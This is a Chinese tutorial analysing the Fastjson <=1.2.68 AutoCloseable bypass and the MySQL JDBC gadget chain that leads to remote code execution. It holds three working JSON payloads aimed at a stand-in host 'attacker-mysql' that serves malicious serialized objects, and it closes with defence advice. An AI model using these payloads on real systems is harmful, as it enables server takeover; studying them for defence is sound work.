手把手带你深入分析 Fastjson JDBC 调用链利用过程
字数 1453 2025-08-29 22:41:24
Fastjson JDBC 调用链利用过程深入分析
1. 漏洞背景
Fastjson <= 1.2.68 存在反序列化漏洞,攻击者可以通过精心构造的JSON数据利用JDBC相关类实现远程代码执行。本教程将详细分析该漏洞的利用过程。
2. 漏洞前提条件
- Fastjson 版本 <= 1.2.68
- 利用类必须是 expectClass 类的子类或实现类
- 利用类不在Fastjson的黑名单中
3. 漏洞原理
3.1 Fastjson 反序列化机制
Fastjson在反序列化时会调用checkAutoType()函数检查目标类是否合法。当type为AutoCloseable时,会加载并返回对应的类。
关键点:
- 当expectClassFlag为true时,可以绕过部分安全检查
- 恶意类必须继承AutoCloseable接口才能通过expectClass检查
3.2 绕过机制分析
- 第一次
checkAutoType()检查AutoCloseable类型 - 第二次检查实际要加载的类时,由于expectClassFlag为true,可以绕过部分限制
- 最终加载的类必须是AutoCloseable的子类才能通过检查
4. 漏洞利用过程
4.1 JDBC4Connection利用
测试代码
// 恶意MySQL服务器配置
String payload = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"com.mysql.jdbc.JDBC4Connection\",\"host\":\"attacker-mysql\",\"port\":3306,\"user\":\"user\",\"password\":\"pass\",\"databaseName\":\"test\",\"url\":\"jdbc:mysql://attacker-mysql:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\"autoDeserialize\":\"true\",\"statementInterceptors\":\"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\"}";
利用流程
- Fastjson解析JSON,首先识别AutoCloseable类型
- 然后识别JDBC4Connection类型
- 实例化JDBC4Connection对象时,会尝试连接MySQL服务器
- 连接过程中会执行以下关键调用链:
ConnectionImpl.initializePropsFromServer()
-> handleAutoCommitDefaults()
-> setAutoCommit()
-> execSQL()
-> sendQueryString()
-> sendQueryPacket()
-> invokeQueryInterceptorsPre()
-> ServerStatusDiffInterceptor.preProcess()
-> populateMapWithSessionStatusValues()
-> 执行SHOW SESSION STATUS查询
-> ResultSetUtil.resultSetToMap()
-> 调用ResultSet.getObject()
- 当autoDeserialize=true时,MySQL服务器返回的恶意序列化对象会被反序列化,导致RCE
4.2 LoadBalancedMySQLConnection利用
测试代码
String payload = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"com.mysql.jdbc.LoadBalancedMySQLConnection\",\"host\":\"attacker-mysql\",\"user\":\"user\",\"password\":\"pass\",\"databaseName\":\"test\",\"url\":\"jdbc:mysql://attacker-mysql:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\"}";
利用流程
- 实例化LoadBalancedMySQLConnection对象
- 调用LoadBalancedConnectionProxy.pickNewConnection()
- 最终还是会创建ConnectionImpl对象
- 后续流程与JDBC4Connection相同
4.3 LoadBalancedConnectionProxy利用
测试代码
String payload = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"com.mysql.jdbc.LoadBalancedConnectionProxy\",\"host\":\"attacker-mysql\",\"user\":\"user\",\"password\":\"pass\",\"databaseName\":\"test\",\"url\":\"jdbc:mysql://attacker-mysql:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\"}";
利用流程
- 首先实例化ReplicationConnectionUrl对象封装连接参数
- 然后进入LoadBalancedConnectionProxy初始化
- 后续流程与上述两种方式相同
5. 关键点总结
- expectClass绕过:利用AutoCloseable接口作为跳板,绕过Fastjson的类型检查
- JDBC连接触发:通过JDBC连接过程中的SQL查询触发反序列化
- autoDeserialize参数:必须设置为true才能自动反序列化服务器返回的数据
- statementInterceptors:通过拦截器在SQL执行前后插入恶意操作
- MySQL服务器构造:需要搭建恶意MySQL服务器返回精心构造的序列化对象
6. 防御措施
- 升级Fastjson到最新版本
- 禁用autoDeserialize功能
- 限制JDBC连接参数来源
- 使用Fastjson的SafeMode
7. 调试技巧
- 重点关注
checkAutoType()函数的执行流程 - 观察expectClassFlag的变化
- 跟踪JDBC连接建立过程
- 监控SQL查询执行链
通过以上分析,我们可以深入理解Fastjson JDBC调用链的利用过程,从而更好地防御此类漏洞。